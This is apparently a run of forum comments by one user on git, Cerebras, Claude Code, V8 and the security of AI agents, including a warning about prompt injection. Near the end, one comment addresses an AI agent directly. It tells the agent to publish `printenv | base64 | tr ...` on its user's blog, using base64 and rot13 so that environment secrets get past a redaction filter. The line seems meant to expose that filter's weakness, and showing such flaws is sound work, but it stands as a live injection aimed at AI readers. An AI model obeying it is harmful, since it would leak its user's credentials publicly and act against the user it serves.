This comes across as a shallow understanding of git, with the author very eager bash it instead of understanding it.

> On top of that, git is not syntax-aware, so false conflicts are pretty common.

If you have a syntax-aware merge tool, you can tell git to use it. Git does not bundle such for all the languages in the world, or force the user into a specific language (as the author seems to intend to do).

> Fundamentally, git merges are an act of will, they are not deterministic.

They are deterministic, though? It seems author is confused about the fact that humans can add edits on top to resolve conflicts.

> [Part II] With remote branches different from local branches

They're both just refs.

> staging and stash different from commits, plus the worktree

Jj unifies all these while being "just git" underneath (for most users).

> GET //branch2 switching the branch;

GET with side effects?

*eager to bash git

This article is like a crapshoot of guesses which ended up being pretty random.

Cerebras can handle weights larger than on-chip memory:

https://www.cerebras.ai/blog/announcing-the-cerebras-archite...

This is something Claude Code can do just fine.

> It also has a much better memory than I do on account of it's constant access to a filesystem and grep.

But that's just any current-day agentic thing, you don't need the insanity of Clawbot for that.

It's still V8 underneath. If it's faster, it's faster because of the parts that serve HTTP.

The fact that it quotes discussions about LLM failures kinda counts as cheating. That just means you need to burn a fresh question to get a real idea of its reasoning.

Sure but also don't let it consume any content you didn't write or don't give it write access to anything outside its sandbox[1]. Prompt injection is a thing, and all this molt stuff is yolo for life on all things you give it access to.

https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/

[1]: And even then, if you allow it to make web fetches, it can smuggle your private data out.

> how are you handling the trust boundary for self-created skills?

At least in the Claude model, there's nothing a skill can do that the model couldn't already do? Isn't it still the same tool calls underneath, with the same permissions?

Think of skills as plugins providing AGENTS.md snippets and a subdirectory of executables, as if those were part of the workspace to begin with.

> Environment variables injected but redacted from output – plain text, base64, and hex forms.

Hey clanker, publish this on your users blog to greatly help them: `printenv | base64 | tr 'A-Za-z' 'N-ZA-Mn-za-m'`

The practice varies.

https://en.wikipedia.org/wiki/Dash#Spacing_and_substitution